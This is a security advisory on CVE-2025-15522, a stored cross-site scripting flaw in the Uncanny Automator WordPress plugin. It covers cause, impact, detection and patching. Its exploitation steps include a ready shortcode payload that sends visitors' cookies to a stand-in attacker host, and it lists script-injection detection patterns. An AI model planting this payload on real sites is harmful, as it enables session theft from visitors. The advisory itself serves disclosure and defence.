CVE-2025-15522: 
WordPress vulnerability analysis and mitigation

CVE-2025-15522 is a Stored Cross-Site Scripting (XSS) vulnerability in the Uncanny Automator – Easy Automation, Integration, Webhooks & Workflow Builder Plugin for WordPress. It affects all versions up to and including 6.10.0.2, stemming from insufficient input sanitization and output escaping on the verified_message parameter of the automator_discord_user_mapping shortcode. The vulnerability was disclosed on January 23, 2026, and carries a CVSS v3.1 base score of 6.4 (Medium), assigned by Wordfence (Wordfence, Red Hat CVE).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation – Cross-Site Scripting). The vulnerable code resides in the discord-user-mapping-shortcode.php file at line 128 of the 6.10.0.2 release, where the verified_message shortcode parameter is rendered without proper sanitization or escaping. An authenticated attacker with at least Contributor-level access can embed a malicious shortcode containing arbitrary JavaScript into a WordPress page or post; the injected script executes in the browser of any site visitor who has a verified Discord account and views the affected page. The changeset fixing the issue is publicly available in the WordPress plugin repository (WordPress Plugin Trac (vulnerable), WordPress Plugin Trac (fix)).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session, enabling session cookie theft, credential harvesting, defacement of page content, or redirection to malicious sites. The scope is marked as Changed, meaning the injected script can affect resources beyond the plugin's own context. Exploitation is limited to victims who have a verified Discord account and visit the injected page, somewhat narrowing the affected user population, but the impact on confidentiality and integrity remains meaningful for sites with Discord-integrated workflows (Wordfence).

Exploitation requires an authenticated account with at least Contributor-level privileges on the target WordPress site, which limits opportunistic mass exploitation. No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported. The EPSS score is approximately 0.03% (0.000300), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Wordfence, Red Hat CVE).

1. Gain Contributor Access: Obtain or compromise a WordPress account with at least Contributor-level privileges on the target site (e.g., via credential stuffing, phishing, or registration if open).
2. Identify Target Page: Locate or create a WordPress page or post where the automator_discord_user_mapping shortcode can be inserted.
3. Inject Malicious Shortcode: Edit the page/post and insert a crafted shortcode such as [automator_discord_user_mapping verified_message="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"], exploiting the unsanitized verified_message parameter.
4. Publish the Page: Save and publish the page so the malicious shortcode is stored in the WordPress database.
5. Wait for Victim Trigger: The injected script executes automatically in the browser of any authenticated user with a verified Discord account who visits the affected page, delivering the attacker's payload (e.g., session cookie exfiltration or further actions) (WordPress Plugin Trac (vulnerable), Wordfence).

• Logs: WordPress post/page revision history showing insertion of automator_discord_user_mapping shortcodes with unexpected HTML or JavaScript in the verified_message parameter; web server access logs showing requests to pages containing the shortcode from users with Discord session cookies.
• File System: No direct file-system artifacts expected for stored XSS; however, review the WordPress database (wp_posts table) for shortcode entries containing <script>, javascript:, onerror=, or other event handler patterns in the verified_message attribute.
• Network: Outbound requests from victim browsers to unknown external domains shortly after visiting pages containing the automator_discord_user_mapping shortcode; unusual POST requests to attacker-controlled endpoints carrying cookie or session data.

Users should update the Uncanny Automator plugin to a version beyond 6.10.0.2, as the fix has been committed to the plugin's trunk in changeset 3440408. The patch corrects the insufficient sanitization and output escaping of the verified_message parameter. As a temporary workaround, site administrators can restrict Contributor-level user permissions or disable the Discord integration shortcode until the update is applied. Monitoring WordPress user roles and limiting who can publish content are additional defensive measures (WordPress Plugin Trac (fix), Wordfence).

Wordfence included CVE-2025-15522 in its weekly WordPress vulnerability report for January 19–25, 2026, noting it as part of a broader set of plugin vulnerabilities disclosed that week (Wordfence Blog). Sucuri also referenced the vulnerability in its January 2026 vulnerability patch roundup (Sucuri Blog). No significant broader media coverage or notable researcher commentary beyond these routine roundups has been identified.